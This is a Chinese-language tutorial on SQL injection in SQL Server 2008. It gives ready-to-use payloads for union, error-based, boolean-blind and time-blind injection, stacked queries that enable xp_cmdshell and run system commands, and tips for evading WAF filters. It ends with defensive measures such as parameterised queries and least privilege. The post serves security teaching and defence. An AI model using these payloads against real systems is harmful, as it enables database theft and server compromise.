SQL Server 2008 SQL注入详解

0 阅读5分钟

说明:本文用于安全学习、代码审计、漏洞防御,禁止用于未授权渗透测试,非法测试需承担法律责任。 SQL Server 2008 支持 xp_cmdshell、多语句执行、堆叠查询、错误回显、布尔盲注、时间盲注,注入利用方式非常丰富。

一、产生注入的根本原因

应用直接拼接用户输入到SQL语句,没有参数化。

危险示例(C# / 程序伪代码)

-- 用户输入: id=1
string sql = "select * from users where id = " + Request["id"];

用户传入恶意 payload:id=1 or 1=1 -- 最终执行SQL变成:

select * from users where id = 1 or 1=1 --

-- 是SQL Server注释符,后面语句全部注释。

✅ 正确方案:参数化查询(SqlCommand + SqlParameter),禁止字符串拼接SQL

二、SQLServer 2008 基础语法要点(注入必备)

  1. 注释:-- 单行注释;/* */多行注释
  2. 堆叠查询:分号 ; 可以执行多条SQL
select * from users;drop table test;--
  1. 字符串拼接:'a'+'b'
  2. 系统数据库
  • master:核心系统库,存储所有数据库、账号配置
  • information_schema:表、列元数据(2008支持)
  • sys.databases 查询所有库
  • sys.tables 查询当前库所有表
  • sys.columns 查询列

3.内置关键函数 |函数|作用| |—|—

| |db_name()|获取当前数据库名

| |user_name()|当前数据库用户

| |@@version|SQL Server版本信息

| |@@servername|服务器主机名

| |master..xp_cmdshell|执行系统命令(高危存储过程,默认关闭)

| |cast(xxx as varchar)|类型转换,用于报错注入

| |substring(str,start,len)|截取字符串,盲注核心|

权限区分:

  • sa权限:最高权限,可开启xp_cmdshell执行系统命令

  • db_owner:数据库所有者,可以读写表,不一定能执行命令

  • public普通用户:只能读取部分表数据

三、注入类型实战 payload(SQL Server2008)

假设原始语句:select * from news where id=用户输入

1. 联合查询注入 union select

前提:页面会返回查询结果,前后字段数量必须一致。

  1. 判断字段数

id=1 order by 3 --
order by N,页面报错代表字段小于N;正常代表>=N。

2.union 查询,获取版本、库名 假设字段数为3:

id=-1 union select 1,@@version,db_name() --

注意:前面查询返回0行,使用-1让前面无结果,union的结果展示出来。

3.查询所有数据库名称

id=-1 union select 1,name,0 from master..sysdatabases --

4.查询当前库所有表

id=-1 union select 1,name,0 from sys.tables --

5.查询表的列

id=-1 union select 1,name,0 from sys.columns where object_id=object_id('users') --

2. 报错注入(页面返回数据库错误信息,无回显数据)

利用cast转换错误,把查询的数据抛到错误信息里显示。

id=1 and 1=cast((select db_name()) as int)--

逻辑:db_name()得到字符串,强行转int,SQL抛出转换失败,字符串内容出现在报错信息中

获取数据库名:

id=1 and 1=cast((select top 1 name from master..sysdatabases) as int)--

获取下一条数据,用 not in

id=1 and 1=cast((select top 1 name from master..sysdatabases where name not in ('master')) as int)--

3. 布尔盲注(页面只有两种状态:正常/错误,无数据、无报错)

根据页面返回真假,逐个猜字符。 substring(字符串,位置,1)截取单个字符;ascii()取字符ascii码。

-- 判断当前库第一个字符ascii码是否等于d
id=1 and ascii(substring(db_name(),1,1))=100 --

页面正常=条件成立;页面异常=条件不成立。配合脚本爆破每一位字符。

4. 时间盲注(页面无任何变化,通过延时判断条件真假)

waitfor delay '0:0:5' 延时5秒。

id=1;if(ascii(substring(db_name(),1,1))=100) waitfor delay '0:0:5' --

如果页面响应延迟5秒,则条件成立。适合完全无回显环境。

注意:堆叠查询;部分环境会被WAF拦截。

四、sa高权限:xp_cmdshell执行系统命令(SQL Server2008)

SQL Server2008默认禁用xp_cmdshell,需要先启用

  1. 开启xp_cmdshell
    sp_configure 'show advanced options',1; reconfigure; sp_configure 'xp_cmdshell',1; reconfigure;
    注入payload(堆叠)
    id=1;sp_configure 'show advanced options',1;reconfigure;sp_configure 'xp_cmdshell',1;reconfigure;--

2. 执行系统命令

id=1;exec master..xp_cmdshell 'whoami';--

执行whoami查看SQL服务运行身份,如果是system权限,可完全控制服务器。

很多环境sa账号不具备操作系统权限,xp_cmdshell执行失败,属于常见情况。

关闭xp_cmdshell:

sp_configure 'xp_cmdshell',0;reconfigure;

五、SQL Server 2008注入常见坑点

  1. 堆叠查询分号 ; :部分代码只执行第一条SQL,;堆叠失效,无法执行多条语句,只能union/盲注。
  2. 单引号过滤:如果输入点是字符串类型 where name='xxx',注入需要闭合单引号 ';数字型不需要引号。
  3. WAF过滤or、and、union:可以大小写变形 UnIoN、注释绕过 --``/*xxx*/
  4. information_schema 在2008可用,但权限不足时查询为空,改用系统表 sys.databases sys.tables sys.columns
  5. xp_cmdshell 需要sa权限,普通数据库用户无法调用。
  6. SQL Server 2008 R2 和2008注入语法完全一致。

六、漏洞防御方案(重点)

1. 强制使用参数化查询(最核心)C#示例

string sql = "select * from news where id=@id";
SqlCommand cmd = new SqlCommand(sql,conn);
cmd.Parameters.AddWithValue("@id",Request["id"]);

用户输入永远作为参数值,不会拼接进SQL语法。杜绝拼接字符串构造SQL语句

2. 最小权限原则

  • 业务连接数据库账号禁止sa账号
  • 业务账号只给DML权限,禁止访问master库、禁止xp_cmdshell;
  • 关闭不需要存储过程 xp_cmdshell、xp_regread等。

3. 输入校验

对数字输入强制转换整数;字符串做长度、白名单校验。

4. 错误页面处理

生产环境禁止返回完整SQL错误堆栈,统一自定义错误页,防止报错注入。

5. 数据库层面

-- 关闭xp_cmdshell
sp_configure 'xp_cmdshell',0;
reconfigure;